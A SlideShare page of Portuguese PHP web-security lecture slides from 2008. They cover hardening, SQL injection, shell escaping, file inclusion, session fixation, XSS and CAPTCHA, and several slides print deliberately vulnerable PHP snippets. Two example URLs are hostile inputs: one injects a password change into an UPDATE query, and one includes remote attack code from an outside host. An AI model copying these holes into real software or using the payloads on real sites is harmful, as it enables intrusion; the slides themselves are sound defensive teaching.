SlideShare una empresa de Scribd logo
1 de 28
Descargar para leer sin conexión
Segurança
PHP Advanced - 19 de Setembro de 2008
      Bruno Pedro <bpedro@tarpipe.com>
PHP Advanced




               Conteúdo
  • Melhorar a segurança
  • Validação de dados
  • Prevenção contra scripts
  • Projecto
  • Resumo
Segurança              2
PHP Advanced




            Sistema Operativo
  • Manter o Sistema Operativo sempre
       actualizado
  • Instalar todas as actualizações de segurança
       disponibilizadas
  • Desligar todos os serviços não utilizados
  • Auditoria de Sistema Operativo:
   • Nessus: http://www.nessus.org/
Segurança                 3
PHP Advanced




                Apache
  • Executar com user ID próprio
  • Desligar módulo mod_autoindex
  • Negar acesso a directórios não necessários
   • templates, templates_c, lib, etc
  • Negar acesso a ficheiros não necessários
   • *.bak, *.tpl, *.*~, etc
Segurança              4
PHP Advanced




                             PHP
  •   display_errors = Off

  •   log_errors = On

  •   error_log = /var/log/php.log

  •   register_globals = Off

  •   session.use_trans_sid = 0

  •   open_basedir = /directorio/do/website

  •   expose_php = Off

Segurança                         5
PHP Advanced




            Input do utilizador

  • Variáveis globais são um problema
  • register_globals está desligado por omissão
  • Mesmo assim convém inicializar todas as
       variáveis utilizadas



Segurança                     6
PHP Advanced




            Input do Utilizador
                 <?php

                 // (...)

                 if ($auth) {
                     $fullAccess = true;
                 }

                 if ($fullAccess) {
                     // (...)
                 }

                 ?>
Segurança                   7
PHP Advanced




                Formulários
  •    Nunca confiar no que o utilizador introduz num
       formulário

  •    Nunca fazer include’s ou require’s utilizando
       variáveis provenientes de formulários

  •    Nunca manipular ficheiros utilizando variáveis
       provenientes de formulários

  •    É possível efectuar um POST a formulário
       através de JavaScript, mesmo sem estar na
       página do formulário
Segurança                    8
PHP Advanced




                 Formulários

            <?php

            $fp = fopen($_POST[‘username’], ‘a’);
            fputs($fp, ‘Nome: ‘ . $_POST[‘name’]);
            fclose($fp);

            ?>



Segurança                     9
PHP Advanced




            Bases de Dados

  • mysql_real_escape_string()
  • Utilizar plicas em todos os valores sempre
       que possível
  • Atenção a aplicações que usem paginação e
       validar o parâmetro correspondente ao
       número da página

Segurança               10
PHP Advanced




                    Bases de Dados
<?php

// URL:
// http://example.com/?table=user+SET+password=%3Dmypass%3D+%23

$res = mysql_query(‘UPDATE ‘ . $_GET[‘table’] . ‘
                    SET visits=visits+1
                   WHERE id=’ . $_GET[‘id’]);

// Query realmente executado:
// UPDATE user SET password=”mypass” # SET visits=visits+1 WHERE id=

?>
        Segurança                   11
PHP Advanced




       Programas externos

  • Nunca confiar em parâmetros de GET e
       passá-los como parâmetros de programas
       externos
  • Utilizar sempre escapeshellarg() em
       todos os parâmetros de programas
       externos


Segurança               12
PHP Advanced




            Inclusão de Scripts

  • O bug mais comum é relacionado com a
       inclusão de scripts baseada em parâmetros
       GET
  • Desligar o allow_url_fopen sempre que
       possível para não permitir a abertura de
       ficheiros remotos


Segurança                 13
PHP Advanced




            Inclusão de Scripts
 <?php

 // URL:
 // http://example.com/?page=http://mysite.com/attack

 include $_GET[‘page’] . ‘.inc’;

 // Na realidade é feito um include a
 // http://mysite.com/attack.inc
 // que poderá ter código malicioso

 ?>
Segurança                    14
PHP Advanced




                   Sessões
  • Poderá ser possível injectar o ID da sessão
       através de parâmetro GET ou de Cookie,
       tomando conta de uma sessão activa
  • Esta técnica tem o nome de Session Fixation
       ou Session Hijacking
  • Utilizar a função
       session_regenerate_id()

Segurança                 15
PHP Advanced




                      XSS
  • Nunca escrever directamente conteúdo
       proveniente de formulários ou de
       parâmetros GET
  • É possível introduzir conteúdo num
       formulário que, ao ser escrito, abra uma
       localização remota e permita ao atacante
       obter informação sobre o utilizador

Segurança                16
PHP Advanced




Prevenção contra scripts
  • No registo
   • Garante que só um humano se consegue
            registar
      • Evita registos em quantidade ou um
            ataque propositado
  • Na autenticação
   • Evita tentativas de obter autenticação
            através de força bruta
Segurança                    17
PHP Advanced




Prevenção contra scripts
  • CAPTCHA
   • Completely Automated Public Turing tests to
            tell Computers and Humans Apart
      • Garante que o formulário foi preenchido
            por um humano
  • Validação por Email
  • OpenID
Segurança                   18
PHP Advanced




PEAR::Text_CAPTCHA

  • Instalação
   • pear install Text_CAPTCHA
   • pear install Image_Text
   • Obtenção de uma font TTF

Segurança           19
PHP Advanced




PEAR::Text_CAPTCHA




Segurança      20
PHP Advanced




PEAR::Text_CAPTCHA




Segurança      21
PHP Advanced




PEAR::Text_CAPTCHA




Segurança      22
PHP Advanced




               reCAPTCHA

  • Web Service
  • Biblioteca em PHP
  • Disponível em http://recaptcha.net/
  • Ajuda a digitalizar livros

Segurança              23
PHP Advanced




        Validação por Email
  • Tornar obrigatória a inserção do endereço
       de Email no formulário
  • Após o formulário ter sido preenchido
       gerar um ID e gravá-lo juntamente com os
       dados
  • Enviar uma mensagem ao endereço
       introduzido com instruções de confirmação

Segurança                24
PHP Advanced




                  Projecto


  • Escolher um dos mecanismos de prevenção
       contra scripts e implementá-lo nos
       formulários de registo e de autenticação




Segurança                25
PHP Advanced




               Resumo

  • Melhorias na segurança
  • XSS
  • CAPTCHA
  • Validação por Email
  • Implementação
Segurança             26
PHP Summer School




                    Questões?




OOP em PHP              27
PHP Advanced




            Mais informação
  • O meu blog: http://unfoldingtheweb.com/

  • Manual de PHP: http://www.php.net/
  • PEAR: http://pear.php.net/
  • reCAPTCHA: http://recaptcha.net/
Segurança             28

Más contenido relacionado

La actualidad más candente

Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!Gustavo Neves
 
15 coisas sobre php para saber antes de morrer
15 coisas sobre php para saber antes de morrer15 coisas sobre php para saber antes de morrer
15 coisas sobre php para saber antes de morrerMichele Silva
 
Sessões (in portuguese)
Sessões (in portuguese)Sessões (in portuguese)
Sessões (in portuguese)Bruno Pedro
 
PHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael Jaques
PHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael JaquesPHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael Jaques
PHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael JaquesRafael Jaques
 
Aplicações stateless com PHP e JWT
Aplicações stateless com PHP e JWTAplicações stateless com PHP e JWT
Aplicações stateless com PHP e JWTBruno Neves Menezes
 
Construindo uma Aplicação PHP à Prova de Balas - 2010
Construindo uma Aplicação PHP à Prova de Balas - 2010Construindo uma Aplicação PHP à Prova de Balas - 2010
Construindo uma Aplicação PHP à Prova de Balas - 2010Rafael Jaques
 
Autenticação e Autorização (in portuguese)
Autenticação e Autorização (in portuguese)Autenticação e Autorização (in portuguese)
Autenticação e Autorização (in portuguese)Bruno Pedro
 
Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPFlavio Souza
 
PHP e Segurança - Uma união possível
PHP e Segurança - Uma união possívelPHP e Segurança - Uma união possível
PHP e Segurança - Uma união possívelEr Galvão Abbott
 
Segurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSegurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSamyr Abdo
 
Invasão e correção em sites
Invasão e correção em sitesInvasão e correção em sites
Invasão e correção em sitesDaskonet Dasko
 
Comet - ReverseAjax com DWR - Resumo
Comet - ReverseAjax com DWR - ResumoComet - ReverseAjax com DWR - Resumo
Comet - ReverseAjax com DWR - ResumoHanderson Frota
 
Privilégios de processos no OpenSolaris
Privilégios de processos no OpenSolarisPrivilégios de processos no OpenSolaris
Privilégios de processos no OpenSolarisRafael Barbolo
 
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi...
 Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi... Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi...
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi...Alexandro Silva
 

La actualidad más candente (20)

Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!
 
15 coisas sobre php para saber antes de morrer
15 coisas sobre php para saber antes de morrer15 coisas sobre php para saber antes de morrer
15 coisas sobre php para saber antes de morrer
 
Sessões (in portuguese)
Sessões (in portuguese)Sessões (in portuguese)
Sessões (in portuguese)
 
PHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael Jaques
PHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael JaquesPHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael Jaques
PHP Sob Ataque - Técnicas de Programação Defensiva - FISL 12 - Rafael Jaques
 
Aplicações stateless com PHP e JWT
Aplicações stateless com PHP e JWTAplicações stateless com PHP e JWT
Aplicações stateless com PHP e JWT
 
Hello SAFE World!!!
Hello SAFE World!!!Hello SAFE World!!!
Hello SAFE World!!!
 
Construindo uma Aplicação PHP à Prova de Balas - 2010
Construindo uma Aplicação PHP à Prova de Balas - 2010Construindo uma Aplicação PHP à Prova de Balas - 2010
Construindo uma Aplicação PHP à Prova de Balas - 2010
 
Autenticação e Autorização (in portuguese)
Autenticação e Autorização (in portuguese)Autenticação e Autorização (in portuguese)
Autenticação e Autorização (in portuguese)
 
Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHP
 
Tratando as vulnerabilidades do Top 10 com php
Tratando as vulnerabilidades do Top 10 com phpTratando as vulnerabilidades do Top 10 com php
Tratando as vulnerabilidades do Top 10 com php
 
burlando um WAF
burlando um WAFburlando um WAF
burlando um WAF
 
PHP e Segurança - Uma união possível
PHP e Segurança - Uma união possívelPHP e Segurança - Uma união possível
PHP e Segurança - Uma união possível
 
Burlando Waf 2.0
Burlando Waf  2.0Burlando Waf  2.0
Burlando Waf 2.0
 
Segurança PHP - por Samyr Abdo
Segurança PHP - por Samyr AbdoSegurança PHP - por Samyr Abdo
Segurança PHP - por Samyr Abdo
 
Invasão e correção em sites
Invasão e correção em sitesInvasão e correção em sites
Invasão e correção em sites
 
Reverse Ajax Dwr
Reverse Ajax DwrReverse Ajax Dwr
Reverse Ajax Dwr
 
Comet - ReverseAjax com DWR - Resumo
Comet - ReverseAjax com DWR - ResumoComet - ReverseAjax com DWR - Resumo
Comet - ReverseAjax com DWR - Resumo
 
Privilégios de processos no OpenSolaris
Privilégios de processos no OpenSolarisPrivilégios de processos no OpenSolaris
Privilégios de processos no OpenSolaris
 
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi...
 Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi... Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi...
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi...
 
Depurando Aplicacoes PHP
Depurando Aplicacoes PHPDepurando Aplicacoes PHP
Depurando Aplicacoes PHP
 

Destacado

Testes Unitários no Android
Testes Unitários no AndroidTestes Unitários no Android
Testes Unitários no AndroidOnyo
 
Conceitos de Orientação a Objeto e Exemplos no Estudo de Caso do TRT-16
Conceitos de Orientação a Objeto e Exemplos no Estudo de Caso do TRT-16Conceitos de Orientação a Objeto e Exemplos no Estudo de Caso do TRT-16
Conceitos de Orientação a Objeto e Exemplos no Estudo de Caso do TRT-16marcusNOGUEIRA
 
ENTORNOS DE DESARROLLO: ANDROID STUDIO - INSTALACIÓN
ENTORNOS DE DESARROLLO: ANDROID STUDIO - INSTALACIÓN ENTORNOS DE DESARROLLO: ANDROID STUDIO - INSTALACIÓN
ENTORNOS DE DESARROLLO: ANDROID STUDIO - INSTALACIÓN Jacinto Cabrera Rodríguez
 
Net beans 7.4 Funções e Atalhos
Net beans 7.4 Funções e AtalhosNet beans 7.4 Funções e Atalhos
Net beans 7.4 Funções e Atalhosandreandrade17
 
Banco de Dados Orientado a Objeto
Banco de Dados Orientado a ObjetoBanco de Dados Orientado a Objeto
Banco de Dados Orientado a Objetoelliando dias
 
Java, NetBeans e Orientação a Objetos
Java, NetBeans e Orientação a ObjetosJava, NetBeans e Orientação a Objetos
Java, NetBeans e Orientação a ObjetosJoão Longo
 
Curso : Introdução Orientação a Objetos
Curso : Introdução Orientação a ObjetosCurso : Introdução Orientação a Objetos
Curso : Introdução Orientação a Objetosdanielrpgj30
 
Orientação a Objetos - Conceitos
Orientação a Objetos - ConceitosOrientação a Objetos - Conceitos
Orientação a Objetos - ConceitosMayron Cachina
 
Construindo aplicações web java com netbeans
Construindo aplicações web java com netbeansConstruindo aplicações web java com netbeans
Construindo aplicações web java com netbeansSliedesharessbarbosa
 
Revisão Sobre Programação Orientada a Objetos com Java
Revisão Sobre Programação Orientada a Objetos com Java Revisão Sobre Programação Orientada a Objetos com Java
Revisão Sobre Programação Orientada a Objetos com Java Mario Jorge Pereira
 
Criando uma Agenda simples com NetBeans
Criando uma Agenda simples com NetBeansCriando uma Agenda simples com NetBeans
Criando uma Agenda simples com NetBeansSerge Rehem
 
Análise Orientada a Objetos com UML
Análise Orientada a Objetos com UMLAnálise Orientada a Objetos com UML
Análise Orientada a Objetos com UMLEliseu Castelo
 
CAMPANHA ELEITORAL - COORDENAÇÃO DE CAMPANHA - Eleição
CAMPANHA ELEITORAL - COORDENAÇÃO DE CAMPANHA - EleiçãoCAMPANHA ELEITORAL - COORDENAÇÃO DE CAMPANHA - Eleição
CAMPANHA ELEITORAL - COORDENAÇÃO DE CAMPANHA - EleiçãoAlfredo Kleper Chaves Lavor
 
Aula 02 - Principios da Orientação a Objetos (POO)
Aula 02 - Principios da Orientação a Objetos (POO)Aula 02 - Principios da Orientação a Objetos (POO)
Aula 02 - Principios da Orientação a Objetos (POO)Daniel Brandão
 

Destacado (19)

Novidades no Netbeans 6
Novidades no Netbeans 6Novidades no Netbeans 6
Novidades no Netbeans 6
 
Android Studio
Android StudioAndroid Studio
Android Studio
 
Testes Unitários no Android
Testes Unitários no AndroidTestes Unitários no Android
Testes Unitários no Android
 
Conceitos de Orientação a Objeto e Exemplos no Estudo de Caso do TRT-16
Conceitos de Orientação a Objeto e Exemplos no Estudo de Caso do TRT-16Conceitos de Orientação a Objeto e Exemplos no Estudo de Caso do TRT-16
Conceitos de Orientação a Objeto e Exemplos no Estudo de Caso do TRT-16
 
NetBeans: a IDE que você precisa
NetBeans: a IDE que você precisaNetBeans: a IDE que você precisa
NetBeans: a IDE que você precisa
 
ENTORNOS DE DESARROLLO: ANDROID STUDIO - INSTALACIÓN
ENTORNOS DE DESARROLLO: ANDROID STUDIO - INSTALACIÓN ENTORNOS DE DESARROLLO: ANDROID STUDIO - INSTALACIÓN
ENTORNOS DE DESARROLLO: ANDROID STUDIO - INSTALACIÓN
 
Net beans 7.4 Funções e Atalhos
Net beans 7.4 Funções e AtalhosNet beans 7.4 Funções e Atalhos
Net beans 7.4 Funções e Atalhos
 
Banco de Dados Orientado a Objeto
Banco de Dados Orientado a ObjetoBanco de Dados Orientado a Objeto
Banco de Dados Orientado a Objeto
 
Orientação a Objetos (2)
Orientação a Objetos (2)Orientação a Objetos (2)
Orientação a Objetos (2)
 
Java, NetBeans e Orientação a Objetos
Java, NetBeans e Orientação a ObjetosJava, NetBeans e Orientação a Objetos
Java, NetBeans e Orientação a Objetos
 
Curso : Introdução Orientação a Objetos
Curso : Introdução Orientação a ObjetosCurso : Introdução Orientação a Objetos
Curso : Introdução Orientação a Objetos
 
Orientação a Objetos - Conceitos
Orientação a Objetos - ConceitosOrientação a Objetos - Conceitos
Orientação a Objetos - Conceitos
 
Construindo aplicações web java com netbeans
Construindo aplicações web java com netbeansConstruindo aplicações web java com netbeans
Construindo aplicações web java com netbeans
 
Revisão Sobre Programação Orientada a Objetos com Java
Revisão Sobre Programação Orientada a Objetos com Java Revisão Sobre Programação Orientada a Objetos com Java
Revisão Sobre Programação Orientada a Objetos com Java
 
Criando uma Agenda simples com NetBeans
Criando uma Agenda simples com NetBeansCriando uma Agenda simples com NetBeans
Criando uma Agenda simples com NetBeans
 
Análise Orientada a Objetos com UML
Análise Orientada a Objetos com UMLAnálise Orientada a Objetos com UML
Análise Orientada a Objetos com UML
 
CAMPANHA ELEITORAL - COORDENAÇÃO DE CAMPANHA - Eleição
CAMPANHA ELEITORAL - COORDENAÇÃO DE CAMPANHA - EleiçãoCAMPANHA ELEITORAL - COORDENAÇÃO DE CAMPANHA - Eleição
CAMPANHA ELEITORAL - COORDENAÇÃO DE CAMPANHA - Eleição
 
Aula 02 - Principios da Orientação a Objetos (POO)
Aula 02 - Principios da Orientação a Objetos (POO)Aula 02 - Principios da Orientação a Objetos (POO)
Aula 02 - Principios da Orientação a Objetos (POO)
 
Introdução ao Android Studio
Introdução ao Android StudioIntrodução ao Android Studio
Introdução ao Android Studio
 

Similar a PHP Advanced - Segurança de aplicações web

PHP Jedi - Boas Práticas e Alta Performance
PHP Jedi - Boas Práticas e Alta PerformancePHP Jedi - Boas Práticas e Alta Performance
PHP Jedi - Boas Práticas e Alta PerformanceFelipe Ribeiro
 
User Interface (in portuguese)
User Interface (in portuguese)User Interface (in portuguese)
User Interface (in portuguese)Bruno Pedro
 
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...tdc-globalcode
 
Phpjedi 090307090434-phpapp01 2
Phpjedi 090307090434-phpapp01 2Phpjedi 090307090434-phpapp01 2
Phpjedi 090307090434-phpapp01 2PrinceGuru MS
 
Alta Performance de Aplicações PHP com Nginx
Alta Performance de Aplicações PHP com NginxAlta Performance de Aplicações PHP com Nginx
Alta Performance de Aplicações PHP com NginxThiago Paes
 
Depurando aplicações PHP like a BOSS
Depurando aplicações PHP like a BOSSDepurando aplicações PHP like a BOSS
Depurando aplicações PHP like a BOSSThiago Rodrigues
 
PHP - Programação para seres humanos
PHP - Programação para seres humanosPHP - Programação para seres humanos
PHP - Programação para seres humanosCaike Souza
 
Aula 02 - Introdução ao PHP - Programação Web
Aula 02  - Introdução ao PHP - Programação WebAula 02  - Introdução ao PHP - Programação Web
Aula 02 - Introdução ao PHP - Programação WebDalton Martins
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super heroElton Minetto
 
Qualitypress - Segurança em Aplicações Web com PHP
Qualitypress - Segurança em Aplicações Web com PHPQualitypress - Segurança em Aplicações Web com PHP
Qualitypress - Segurança em Aplicações Web com PHPQuality Press
 
Palestra de segurança em PHP - Hacking
Palestra de segurança em PHP - HackingPalestra de segurança em PHP - Hacking
Palestra de segurança em PHP - HackingLuis Gustavo Almeida
 
Memcached, Gearman e Sphinx
Memcached, Gearman e SphinxMemcached, Gearman e Sphinx
Memcached, Gearman e SphinxElton Minetto
 
TDC2016POA | Trilha Python - Heimdall Guard - Spam Filter
TDC2016POA | Trilha Python - Heimdall Guard - Spam FilterTDC2016POA | Trilha Python - Heimdall Guard - Spam Filter
TDC2016POA | Trilha Python - Heimdall Guard - Spam Filtertdc-globalcode
 
Desenvolvimento Web Avançado usando PHP
Desenvolvimento Web Avançado usando PHPDesenvolvimento Web Avançado usando PHP
Desenvolvimento Web Avançado usando PHPelliando dias
 

Similar a PHP Advanced - Segurança de aplicações web (20)

Security & PHP
Security & PHPSecurity & PHP
Security & PHP
 
PHP Jedi - Boas Práticas e Alta Performance
PHP Jedi - Boas Práticas e Alta PerformancePHP Jedi - Boas Práticas e Alta Performance
PHP Jedi - Boas Práticas e Alta Performance
 
User Interface (in portuguese)
User Interface (in portuguese)User Interface (in portuguese)
User Interface (in portuguese)
 
Python 08
Python 08Python 08
Python 08
 
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
TDC2018SP | Trilha Arq PHP - Seguranca de aplicacoes web com o uso de Boas pr...
 
Phpjedi 090307090434-phpapp01 2
Phpjedi 090307090434-phpapp01 2Phpjedi 090307090434-phpapp01 2
Phpjedi 090307090434-phpapp01 2
 
Mini Curso de PHP
Mini Curso de PHPMini Curso de PHP
Mini Curso de PHP
 
Ruby On Rails Regis
Ruby On Rails RegisRuby On Rails Regis
Ruby On Rails Regis
 
Alta Performance de Aplicações PHP com Nginx
Alta Performance de Aplicações PHP com NginxAlta Performance de Aplicações PHP com Nginx
Alta Performance de Aplicações PHP com Nginx
 
Novidades do PHP 5.3 e 6
Novidades do PHP 5.3 e 6Novidades do PHP 5.3 e 6
Novidades do PHP 5.3 e 6
 
Depurando aplicações PHP like a BOSS
Depurando aplicações PHP like a BOSSDepurando aplicações PHP like a BOSS
Depurando aplicações PHP like a BOSS
 
PHP - Programação para seres humanos
PHP - Programação para seres humanosPHP - Programação para seres humanos
PHP - Programação para seres humanos
 
Aula 02 - Introdução ao PHP - Programação Web
Aula 02  - Introdução ao PHP - Programação WebAula 02  - Introdução ao PHP - Programação Web
Aula 02 - Introdução ao PHP - Programação Web
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super hero
 
Qualitypress - Segurança em Aplicações Web com PHP
Qualitypress - Segurança em Aplicações Web com PHPQualitypress - Segurança em Aplicações Web com PHP
Qualitypress - Segurança em Aplicações Web com PHP
 
Teste de segurança do lado servidor - Nível 1
Teste de segurança do lado servidor - Nível 1Teste de segurança do lado servidor - Nível 1
Teste de segurança do lado servidor - Nível 1
 
Palestra de segurança em PHP - Hacking
Palestra de segurança em PHP - HackingPalestra de segurança em PHP - Hacking
Palestra de segurança em PHP - Hacking
 
Memcached, Gearman e Sphinx
Memcached, Gearman e SphinxMemcached, Gearman e Sphinx
Memcached, Gearman e Sphinx
 
TDC2016POA | Trilha Python - Heimdall Guard - Spam Filter
TDC2016POA | Trilha Python - Heimdall Guard - Spam FilterTDC2016POA | Trilha Python - Heimdall Guard - Spam Filter
TDC2016POA | Trilha Python - Heimdall Guard - Spam Filter
 
Desenvolvimento Web Avançado usando PHP
Desenvolvimento Web Avançado usando PHPDesenvolvimento Web Avançado usando PHP
Desenvolvimento Web Avançado usando PHP
 

Más de Bruno Pedro

What are Web APIs
What are Web APIsWhat are Web APIs
What are Web APIsBruno Pedro
 
Growing your business with an API
Growing your business with an APIGrowing your business with an API
Growing your business with an APIBruno Pedro
 
Product growth with an API
Product growth with an APIProduct growth with an API
Product growth with an APIBruno Pedro
 
How to grow your business with an API
How to grow your business with an APIHow to grow your business with an API
How to grow your business with an APIBruno Pedro
 
APIs Love to Chat
APIs Love to ChatAPIs Love to Chat
APIs Love to ChatBruno Pedro
 
How to Automate API Testing
How to Automate API TestingHow to Automate API Testing
How to Automate API TestingBruno Pedro
 
Asynchronous Microservices in nodejs
Asynchronous Microservices in nodejsAsynchronous Microservices in nodejs
Asynchronous Microservices in nodejsBruno Pedro
 
How to Automate API Discovery
How to Automate API DiscoveryHow to Automate API Discovery
How to Automate API DiscoveryBruno Pedro
 
Api Design & The Paris Subway
Api Design & The Paris SubwayApi Design & The Paris Subway
Api Design & The Paris SubwayBruno Pedro
 
The importance of /me
The importance of /meThe importance of /me
The importance of /meBruno Pedro
 
Maintainable consumers
Maintainable consumersMaintainable consumers
Maintainable consumersBruno Pedro
 
API Code Generation
API Code GenerationAPI Code Generation
API Code GenerationBruno Pedro
 
Bridging the Gap Between APIs and Customers
Bridging the Gap Between APIs and CustomersBridging the Gap Between APIs and Customers
Bridging the Gap Between APIs and CustomersBruno Pedro
 
Who's using your API?
Who's using your API?Who's using your API?
Who's using your API?Bruno Pedro
 
Is OAuth Really Secure?
Is OAuth Really Secure?Is OAuth Really Secure?
Is OAuth Really Secure?Bruno Pedro
 
Link extraction and classification
Link extraction and classificationLink extraction and classification
Link extraction and classificationBruno Pedro
 
tarpipe WordPress plugin demo
tarpipe WordPress plugin demotarpipe WordPress plugin demo
tarpipe WordPress plugin demoBruno Pedro
 
Everything OAuth
Everything OAuthEverything OAuth
Everything OAuthBruno Pedro
 

Más de Bruno Pedro (20)

What are Web APIs
What are Web APIsWhat are Web APIs
What are Web APIs
 
Growing your business with an API
Growing your business with an APIGrowing your business with an API
Growing your business with an API
 
Product growth with an API
Product growth with an APIProduct growth with an API
Product growth with an API
 
How to grow your business with an API
How to grow your business with an APIHow to grow your business with an API
How to grow your business with an API
 
APIs Love to Chat
APIs Love to ChatAPIs Love to Chat
APIs Love to Chat
 
How to Automate API Testing
How to Automate API TestingHow to Automate API Testing
How to Automate API Testing
 
Asynchronous Microservices in nodejs
Asynchronous Microservices in nodejsAsynchronous Microservices in nodejs
Asynchronous Microservices in nodejs
 
How to Automate API Discovery
How to Automate API DiscoveryHow to Automate API Discovery
How to Automate API Discovery
 
Api Design & The Paris Subway
Api Design & The Paris SubwayApi Design & The Paris Subway
Api Design & The Paris Subway
 
The importance of /me
The importance of /meThe importance of /me
The importance of /me
 
Maintainable consumers
Maintainable consumersMaintainable consumers
Maintainable consumers
 
API Code Generation
API Code GenerationAPI Code Generation
API Code Generation
 
Bridging the Gap Between APIs and Customers
Bridging the Gap Between APIs and CustomersBridging the Gap Between APIs and Customers
Bridging the Gap Between APIs and Customers
 
Who's using your API?
Who's using your API?Who's using your API?
Who's using your API?
 
node-fs
node-fsnode-fs
node-fs
 
Is OAuth Really Secure?
Is OAuth Really Secure?Is OAuth Really Secure?
Is OAuth Really Secure?
 
Link extraction and classification
Link extraction and classificationLink extraction and classification
Link extraction and classification
 
tarpipe WordPress plugin demo
tarpipe WordPress plugin demotarpipe WordPress plugin demo
tarpipe WordPress plugin demo
 
OAuth checklist
OAuth checklistOAuth checklist
OAuth checklist
 
Everything OAuth
Everything OAuthEverything OAuth
Everything OAuth
 

PHP Advanced - Segurança de aplicações web

  • 1. Segurança PHP Advanced - 19 de Setembro de 2008 Bruno Pedro <bpedro@tarpipe.com>
  • 2. PHP Advanced Conteúdo • Melhorar a segurança • Validação de dados • Prevenção contra scripts • Projecto • Resumo Segurança 2
  • 3. PHP Advanced Sistema Operativo • Manter o Sistema Operativo sempre actualizado • Instalar todas as actualizações de segurança disponibilizadas • Desligar todos os serviços não utilizados • Auditoria de Sistema Operativo: • Nessus: http://www.nessus.org/ Segurança 3
  • 4. PHP Advanced Apache • Executar com user ID próprio • Desligar módulo mod_autoindex • Negar acesso a directórios não necessários • templates, templates_c, lib, etc • Negar acesso a ficheiros não necessários • *.bak, *.tpl, *.*~, etc Segurança 4
  • 5. PHP Advanced PHP • display_errors = Off • log_errors = On • error_log = /var/log/php.log • register_globals = Off • session.use_trans_sid = 0 • open_basedir = /directorio/do/website • expose_php = Off Segurança 5
  • 6. PHP Advanced Input do utilizador • Variáveis globais são um problema • register_globals está desligado por omissão • Mesmo assim convém inicializar todas as variáveis utilizadas Segurança 6
  • 7. PHP Advanced Input do Utilizador <?php // (...) if ($auth) { $fullAccess = true; } if ($fullAccess) { // (...) } ?> Segurança 7
  • 8. PHP Advanced Formulários • Nunca confiar no que o utilizador introduz num formulário • Nunca fazer include’s ou require’s utilizando variáveis provenientes de formulários • Nunca manipular ficheiros utilizando variáveis provenientes de formulários • É possível efectuar um POST a formulário através de JavaScript, mesmo sem estar na página do formulário Segurança 8
  • 9. PHP Advanced Formulários <?php $fp = fopen($_POST[‘username’], ‘a’); fputs($fp, ‘Nome: ‘ . $_POST[‘name’]); fclose($fp); ?> Segurança 9
  • 10. PHP Advanced Bases de Dados • mysql_real_escape_string() • Utilizar plicas em todos os valores sempre que possível • Atenção a aplicações que usem paginação e validar o parâmetro correspondente ao número da página Segurança 10
  • 11. PHP Advanced Bases de Dados <?php // URL: // http://example.com/?table=user+SET+password=%3Dmypass%3D+%23 $res = mysql_query(‘UPDATE ‘ . $_GET[‘table’] . ‘ SET visits=visits+1 WHERE id=’ . $_GET[‘id’]); // Query realmente executado: // UPDATE user SET password=”mypass” # SET visits=visits+1 WHERE id= ?> Segurança 11
  • 12. PHP Advanced Programas externos • Nunca confiar em parâmetros de GET e passá-los como parâmetros de programas externos • Utilizar sempre escapeshellarg() em todos os parâmetros de programas externos Segurança 12
  • 13. PHP Advanced Inclusão de Scripts • O bug mais comum é relacionado com a inclusão de scripts baseada em parâmetros GET • Desligar o allow_url_fopen sempre que possível para não permitir a abertura de ficheiros remotos Segurança 13
  • 14. PHP Advanced Inclusão de Scripts <?php // URL: // http://example.com/?page=http://mysite.com/attack include $_GET[‘page’] . ‘.inc’; // Na realidade é feito um include a // http://mysite.com/attack.inc // que poderá ter código malicioso ?> Segurança 14
  • 15. PHP Advanced Sessões • Poderá ser possível injectar o ID da sessão através de parâmetro GET ou de Cookie, tomando conta de uma sessão activa • Esta técnica tem o nome de Session Fixation ou Session Hijacking • Utilizar a função session_regenerate_id() Segurança 15
  • 16. PHP Advanced XSS • Nunca escrever directamente conteúdo proveniente de formulários ou de parâmetros GET • É possível introduzir conteúdo num formulário que, ao ser escrito, abra uma localização remota e permita ao atacante obter informação sobre o utilizador Segurança 16
  • 17. PHP Advanced Prevenção contra scripts • No registo • Garante que só um humano se consegue registar • Evita registos em quantidade ou um ataque propositado • Na autenticação • Evita tentativas de obter autenticação através de força bruta Segurança 17
